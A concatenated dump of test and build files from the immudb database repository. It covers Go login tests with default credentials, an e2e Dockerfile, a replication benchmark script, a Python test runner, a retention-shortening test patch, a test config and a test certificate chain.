h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/tailscale/depaware v0.0.0-20210622194025-720c4b409502/go.mod h1:p9lPsd+cx33L3H9nNoecRRxPssFKUwwI50I3pZ0yT+8= github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= github.com/valyala/fasthttp v1.34.0 h1:d3AAQJ2DRcxJYHm7OXNXtXt2as1vMDfxeIcFvhmGGm4= github.com/valyala/fasthttp v1.34.0/go.mod h1:epZA5N+7pY6ZaEKRmstzOuYJx9HI8DI1oaCGZpdH4h0= github.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc= github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb h1:zGWFAtiMcyryUHoUjUJX0/lt1H2+i2Ka2n+D3DImSNo= github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0= github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= github.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74= github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 h1:6fRhSjgLCkTD3JnJxvaJ4Sj+TYblw757bqYgZaOq5ZY= github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0/go.mod h1:/LWChgwKmvncFJFHJ7Gvn9wZArjbV5/FppcK2fKk/tI= github.com/yudai/gojsondiff v1.0.0 h1:27cbfqXLVEJ1o8I6v3y9lg8Ydm53EKqHXAOMxEGlCOA= github.com/yudai/gojsondiff v1.0.0/go.mod h1:AY32+k2cwILAkW1fbgxQ5mUmMiZFgLIV+FBNExI05xg= github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 h1:BHyfKlQyqbsFN5p3IfnEUduWvb9is428/nNb5L3U01M= github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82/go.mod h1:lgjkn3NuSvDfVJdfcVVdX+jpBxNmX4rDAzaS45IcYoM= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20220214200702-86341886e292/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.6.0 h1:L4ZwwTvKW9gr0ZMS1yrHD9GZhIuVjOBBnaKH+SPQK0Q= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/oauth2 v0.5.0 h1:HuArIo48skDwlrvM3sEdHXElYslAMsf3KwRkkW4MC4s= golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= golang.org/x/oauth2 v0.27.0 h1:da9Vo7/tDv5RH/7nZDz1eMGS/q1Vv1N/7FCrBhI9I3M= golang.org/x/oauth2 v0.27.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20201211185031-d93e913c1a58/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= moul.io/http2curl/v2 v2.3.0 h1:9r3JfDzWPcbIklMOs2TnIFzDYvfAZvjeavG6EzP7jYs= moul.io/http2curl/v2 v2.3.0/go.mod h1:RW4hyBjTWSYDOxapodpNEtX0g5Eb16sxklBqmd2RHcE= ================================================ FILE: test/document_storage_tests/documents_tests_deprecated/login_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "context" "testing" authorizationClient "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbauth" "github.com/stretchr/testify/assert" ) func TestLogin(t *testing.T) { authClient := getAuthorizationClient() badLogin := "immudbXXX" badPassword := "immudbXXX" badDatabase := "defaultdbXXX" defaultLogin := "immudb" defaultPassword := "immudb" defaultDatabase := "defaultdb" response, _ := authClient.AuthorizationServiceOpenSessionV2WithResponse(context.Background(), authorizationClient.AuthorizationServiceOpenSessionV2JSONRequestBody{ Username: &badLogin, Password: &badPassword, Database: &badDatabase, }) assert.True(t, *response.JSONDefault.Message == "invalid user name or password") response, _ = authClient.AuthorizationServiceOpenSessionV2WithResponse(context.Background(), authorizationClient.AuthorizationServiceOpenSessionV2JSONRequestBody{ Username: &defaultLogin, Password: &defaultPassword, Database: &defaultDatabase, }) assert.True(t, response.StatusCode() == 200) assert.True(t, len(*response.JSON200.Token) > 0) } ================================================ FILE: test/document_storage_tests/documents_tests_deprecated/testall.sh ================================================ go test ./... -v -count=1 ================================================ FILE: test/document_storage_tests/documents_tests_deprecated/utils.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "context" "fmt" "net/http" "os" "github.com/codenotary/immudb/pkg/api/httpclient" "github.com/google/uuid" ) var baseURL = GetEnv("DOCUMENTS_TEST_BASEURL", "http://localhost:8080/api/v2") func GetEnv(key, defaultValue string) string { value := os.Getenv(key) if len(value) == 0 { return defaultValue } return value } func getStandarizedRandomString() string { return uuid.New().String() } func getClient() *httpclient.ClientWithResponses { client, err := httpclient.NewClientWithResponses(baseURL) if err != nil { panic(err) } return client } func getAuthorizedClient() *httpclient.ClientWithResponses { client := getClient() defaultLogin := "immudb" defaultPassword := "immudb" defaultDatabase := "defaultdb" response, err := client.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{ Username: &defaultLogin, Password: &defaultPassword, Database: &defaultDatabase, }) if err != nil { panic(err) } if response.StatusCode() != 200 { panic("Could not login") } authClient, err := httpclient.NewClientWithResponses( baseURL, httpclient.WithRequestEditorFn( func(ctx context.Context, req *http.Request) error { req.Header.Set("sessionid", *response.JSON200.SessionID) return nil }, ), ) if err != nil { panic(err) } return authClient } func createCollection(collectionName string, client *httpclient.ClientWithResponses) error { req := httpclient.CollectionCreateJSONRequestBody{ Name: &collectionName, } response, err := client.CollectionCreateWithResponse(context.Background(), req) if err != nil { return err } if response.StatusCode() != 200 { return fmt.Errorf("no 200 response: %d", response.StatusCode()) } return nil } ================================================ FILE: test/e2e/.gitignore ================================================ bin include lib lib64 pyvenv.cfg share result.xml ================================================ FILE: test/e2e/Dockerfile ================================================ FROM golang:1.24 RUN apt-get update && apt-get install -y netcat patch WORKDIR /src/immudb COPY go.mod go.sum /src/ RUN go mod download -x COPY . . RUN rm -rf /src/webconsole/dist && patch -Np1 < test/e2e/t0.patch RUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-static RUN GOOS=linux GOARCH=amd64 go build -C test/e2e/truncation WORKDIR /src RUN git clone https://github.com/codenotary/immudb-tools.git /src/tools RUN GOOS=linux GOARCH=amd64 go build -C /src/tools/stresser2 ================================================ FILE: test/e2e/replication/replic.sh ================================================ #!/bin/bash PRIMARY_ADDR=127.71.17.10 REPLICA_ADDR=127.71.17.11 STRESS_APPLICATION=../immudb-tools/stresser2/stresser2 DB=repl DATADIR=/tmp/immudb IMMUDB=./immudb IMMUADMIN=./immuadmin IMMUCLIENT=./immuclient SIZE=500 SYNC_OPTION_PRIMARY=() SYNC_OPTION_REPLICA=() BATCHSIZE=100 WORKERS=10 usage () { cat </dev/null & PRIMARY_PID=$! while ! nc -z $PRIMARY_ADDR 3322 do echo "Waiting primary" sleep 1 done $IMMUDB --dir $DATADIR/replica_data -a $REPLICA_ADDR 2>/dev/null & REPLICA_PID=$! while ! nc -z $PRIMARY_ADDR 3322 do echo "Waiting replica" sleep 1 done echo -n "immudb" | $IMMUADMIN login -a $PRIMARY_ADDR immudb $IMMUADMIN -a $PRIMARY_ADDR database create $DB ${SYNC_OPTION_PRIMARY[@]} ${PRIMARY_OPTS[@]} echo -n "immudb" | $IMMUADMIN login -a $REPLICA_ADDR immudb $IMMUADMIN -a $REPLICA_ADDR database create $DB \ --replication-is-replica \ --replication-primary-database $DB \ --replication-primary-host $PRIMARY_ADDR \ --replication-primary-password immudb \ --replication-primary-port 3322 \ --replication-primary-username immudb \ ${SYNC_OPTION_REPLICA[@]} \ ${REPLICA_OPTS[@]} echo "Launching $STRESS_APPLICATION" T0=`date +%s` $STRESS_APPLICATION -addr $PRIMARY_ADDR -write-speed 0 -read-workers 0 -write-batchnum $SIZE -write-workers $WORKERS -db $DB -batchsize $BATCHSIZE T1=`date +%s` txid() { ADDR=$1 $IMMUCLIENT login -a $ADDR --username immudb --password immudb > /dev/null 2>/dev/null $IMMUCLIENT status -a $ADDR --username immudb --password immudb --database repl | awk '/^txID/{print $2}' } TX1=$(txid $PRIMARY_ADDR) TX2=$(txid $REPLICA_ADDR) echo "Replication in progress ($TX1 / $TX2)" while [ "$TX1" != "$TX2" ] do echo "waiting replica ($TX1 / $TX2)" sleep 0.5 TX2=$(txid $REPLICA_ADDR) done T2=`date +%s` kill $PRIMARY_PID kill $REPLICA_PID echo "RESULT: Elapsed: $((T2-T0)) seconds, $((T1-T0)) for inserting, $((T2-T1)) for sync" echo "RESULT: Total KV: $((SIZE*WORKERS*BATCHSIZE)), Total TX $(($WORKERS*BATCHSIZE))" echo "RESULT: Total KV/s: $(( (SIZE*WORKERS*BATCHSIZE)/(T2-T0) )), Total TX/s $(( (SIZE*WORKERS)/(T2-T0) ))" ================================================ FILE: test/e2e/replication/run.sh ================================================ #!/bin/sh cd "$(dirname "$0")" BASE=/src/immudb ./replic.sh -x /src/tools/stresser2/stresser2 -a $BASE/immuadmin -i $BASE/immudb -c $BASE/immuclient ================================================ FILE: test/e2e/requirements.txt ================================================ certifi==2024.7.4 influxdb-client==1.36.0 pkg-resources==0.0.0 python-dateutil==2.8.2 reactivex==4.0.4 six==1.16.0 typing-extensions==4.5.0 urllib3==2.6.3 ================================================ FILE: test/e2e/runtests.py ================================================ #!/usr/bin/env python3 import subprocess,sys,logging, time, string, os, re import xml.etree.ElementTree as ET import xml.sax.saxutils as saxutils import influxdb_client TAG="bla" logging.basicConfig( format='%(asctime)s %(levelname)s %(filename)s:%(lineno)d %(message)s', level=logging.INFO ) def build_docker(): logging.info("Building docker") t0=time.time() result=subprocess.run( ["docker", "build", "-f", "Dockerfile", "../..", "-t", TAG], capture_output=True, text=True ) if result.returncode!=0: logging.error("Docker build failure: %s", result.stderr) return False, time.time()-t0 return True, time.time()-t0 def cleanup(s): ret="" for c in s: if c in string.printable: ret=ret+c return saxutils.escape(ret) def replication(ts, stats): logging.info("Starting replication test") xmlresult = ET.SubElement(ts, 'testcase', name="replication") t0=time.time() result=subprocess.run( ["docker", "run", "--tty", "--rm", "--entrypoint", "/src/immudb/test/e2e/replication/run.sh", TAG], capture_output=True, text=True ) for l in result.stdout.split("\n")[-5:]: logging.info("replication result: %s", l) m = re.match(r'RESULT: Total KV/s: (?P\d+), Total TX/s (?P\d+)',l) if m is not None: stats['replication_kvs']=m.group('kv') stats['replication_txs']=m.group('tx') ET.SubElement(xmlresult, "system-out").text=cleanup(result.stdout) ET.SubElement(xmlresult, "system-err").text=cleanup(result.stderr) xmlresult.set("time", str(time.time()-t0)) if result.returncode!=0: logging.error("Docker replication test: %s", result.stderr) xmlresult.set("status", "failure") ET.SubElement(xmlresult, "failure", message="Test failed") return False xmlresult.set("status", "success") return True def truncation(ts, stats): logging.info("Starting truncation test") xmlresult = ET.SubElement(ts, 'testcase', name="truncation") t0=time.time() result=subprocess.run( ["docker", "run", "--tty", "--rm", "--entrypoint", "/src/immudb/test/e2e/truncation/run.sh", TAG], capture_output=True, text=True ) ET.SubElement(xmlresult, "system-out").text=cleanup(result.stdout) ET.SubElement(xmlresult, "system-err").text=cleanup(result.stderr) xmlresult.set("time", str(time.time()-t0)) if result.returncode!=0: logging.error("Docker truncation test: %s", result.stderr) xmlresult.set("status", "failure") ET.SubElement(xmlresult, "failure", message="Test failed") else: xmlresult.set("status", "success") ret=False for l in result.stdout.split("\n")[-5:]: if "OK:" in l: ret=True logging.info("truncation result: %s", l) return ret if not build_docker(): sys.exit(1) root=ET.Element('testsuites') tree=ET.ElementTree(root) ts = ET.SubElement(root, 'testsuite', name="e2e") err=0 stats={} for test in (replication, truncation): if not test(ts,stats): err=err+1 ts.set("errors",str(err)) ET.dump(tree) tree.write("result.xml") if all(map(os.getenv,["INFLUX_TOKEN", "INFLUX_ORG", "INFLUX_BUCKET", "INFLUX_ORG"])): # here all env variable are set logging.info("Sending data to influxdb") org=os.getenv("INFLUX_ORG") token=os.getenv("INFLUX_TOKEN") url=os.getenv("INFLUX_URL") bucket=os.getenv("INFLUX_BUCKET") jobname=os.getenv("JOB_NAME","none") client = influxdb_client.InfluxDBClient(url=url, token=token, org=org ) repl_time=float(tree.findall('./testsuite/testcase[@name="replication"]')[0].attrib['time']) repl_status=tree.findall('./testsuite/testcase[@name="replication"]')[0].attrib['status'] trunc_time=float(tree.findall('./testsuite/testcase[@name="truncation"]')[0].attrib['time']) trunc_status=tree.findall('./testsuite/testcase[@name="truncation"]')[0].attrib['status'] p = influxdb_client.Point("immudb-replication-truncation") \ .tag("job", jobname) \ .field("replication_time", repl_time) \ .field("replication_status", repl_status) \ .field("truncation_time", trunc_time) \ .field("truncation_status", trunc_status) for s in stats: p.field(s, stats[s]) with client.write_api( write_options=influxdb_client.client.write_api.SYNCHRONOUS ) as write_api: write_api.write(bucket=bucket, org=org, record=p) logging.info("Sent") ================================================ FILE: test/e2e/runtests.sh ================================================ #!/bin/sh test -f bin/activate || python3 -mvenv . ./bin/pip install -qr requirements.txt ./bin/python3 runtests.py ================================================ FILE: test/e2e/t0.patch ================================================ diff --git a/embedded/store/options.go b/embedded/store/options.go index 1e93f2f9..b6de2dd6 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -51,7 +51,7 @@ const DefaultWriteBufferSize = 1 << 22 //4Mb const DefaultIndexingMaxBulkSize = 1 const DefaultBulkPreparationTimeout = DefaultSyncFrequency const DefaultTruncationFrequency = 24 * time.Hour -const MinimumRetentionPeriod = 24 * time.Hour +const MinimumRetentionPeriod = 5 * time.Second const MinimumTruncationFrequency = 1 * time.Hour const MaxFileSize = (1 << 31) - 1 // 2Gb diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index a69aa231..ff1b483f 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -166,5 +166,5 @@ func newTruncatorMetrics(db string) *truncatorMetrics { // TruncateToDay truncates the time to the beginning of the day. func TruncateToDay(t time.Time) time.Time { - return time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location()) + return time.Date(t.Year(), t.Month(), t.Day(), t.Hour(), t.Minute(), t.Second(), 0, t.Location()) } ================================================ FILE: test/immudb.toml ================================================ dir = "." network = "tcp" address = "0.0.0.0" port = 3322 dbname = "immudb" pidfile = "" logfile = "ConfigFileThatsNameIsDeclaredOnTheCommandLine" mtls = false pkey = "" certificate = "" clientcas = "" auth = true ================================================ FILE: test/mtls_certs/ca-chain.cert.pem ================================================ -----BEGIN CERTIFICATE----- MIIEfzCCAuegAwIBAgIDEAISMA0GCSqGSIb3DQEBCwUAMFkxCzAJBgNVBAYTAlVT MQ8wDQYDVQQIDAZEZW5pYWwxFDASBgNVBAcMC1NwcmluZ2ZpZWxkMQwwCgYDVQQK DANEaXMxFTATBgNVBAMMDHd3dy50ZXN0LmNvbTAeFw0yMDA3MTkxOTQwNTRaFw0z MDA3MTcxOTQwNTRaMEMxCzAJBgNVBAYTAlVTMQ8wDQYDVQQIDAZEZW5pYWwxDDAK BgNVBAoMA0RpczEVMBMGA1UEAwwMd3d3LnRlc3QuY29tMIIBojANBgkqhkiG9w0B AQEFAAOCAY8AMIIBigKCAYEAs+Hjb+uinjFSCxf8XYSDxGFaj2Qi1Mlii6Oqrqkn kiha3Mu6ogA5P0bKhaF3prSHwHsnN5iKACFBj04T3Q9xKN3x6jI3jt0yd5Jrg4MM TUyxY0B3ELckUJEM9l5abM3bMOUtdwsP/LPupF82oRqLjPX3qAmKjZdjTS66MlXp f4kafvTWvKWwLUJU6pj8sqIDTjJFGGS1ueNo7i//MWO9pRNjwR8EGAcBVJ0Ln3S3 QhvIBz3u7Z/JUJeKuQy7fEiPZPn7Oz3BuiUPVp5jlcJ5q6ABVgYJUNwlP3UVcgAD yNEHdhaSpNnlYFOuL4uADhv3vKjytZpfmK308JcmuYecEfRIjPaLDZEDYgA2bxJH dcCrlAGD7z/Z0Cqe7LAo146T+fdMoAct1VXqoizdyAvUCWvumtLiOK1GYlfRDDD+ NhWVu4KJVZvkYJF/eSOeV54jFl+0hRO5IYbWK94GLi7UajDatjnvZGsQhyIxEIz1 5sbQImGshhVeweDiky1vHNxJAgMBAAGjZjBkMB0GA1UdDgQWBBTbUbZ/E9735sTU cKqL9B+ock+haTAfBgNVHSMEGDAWgBSfEF8y8S21Asdy8lmdcRQEQaS/fjASBgNV HRMBAf8ECDAGAQH/AgEAMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOC AYEARCf8pv10WJcj9qYWsF7SHng8VyiMkIBBJdsUOAoiQikoqiEF2hJ5S3Z252hm u8GHk0xGy6xRrhSy06xxjMITIPVqLgy8UvdNqmjMVrNgCm7x2PIaePmgqVsgupOP QvvZe2cImNLAR1YCsIXjRGTj97DdnYo/ro/Gpl8y0TuowjIxeBfqKrZdnSNOc3bb b/P3OCf4Mnab2Sq9Lgvv6XuT7Jl49o247nb8cmwQwlapicH7PUx+Od3ermVLmD0k wPqS5ytaJbl6Ft4NCDb9Ww+7AFSzCzC0T4B1G5P2RnBbgSBiDQkcbzCnqCRQat6S Xv2KSPXkP7HHk+oysiCFDaZa0oTWy+zo45s3QQ//h3aPLdC8h2mvJ8vQ1xhyF0Vz F9OtKTsWC8JWjvuc3D5qJN0LiiuBb2Mm0Q+FP/ky8PnJzVUN8stDefbsrk2gRZKI TRiKfiCV58nxN6BS9T6u8sGeS6TvEXBJYic3x1pM2S87qGDngaE0Oqxd5aDdkRMW idCd -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIEozCCAwugAwIBAgIUDtBHScUqpp9ZOWbbJjdrniBUmMowDQYJKoZIhvcNAQEL BQAwWTELMAkGA1UEBhMCVVMxDzANBgNVBAgMBkRlbmlhbDEUMBIGA1UEBwwLU3By aW5nZmllbGQxDDAKBgNVBAoMA0RpczEVMBMGA1UEAwwMd3d3LnRlc3QuY29tMB4X DTIwMDcxOTE5NDA1NFoXDTQwMDcxNDE5NDA1NFowWTELMAkGA1UEBhMCVVMxDzAN BgNVBAgMBkRlbmlhbDEUMBIGA1UEBwwLU3ByaW5nZmllbGQxDDAKBgNVBAoMA0Rp czEVMBMGA1UEAwwMd3d3LnRlc3QuY29tMIIBojANBgkqhkiG9w0BAQEFAAOCAY8A 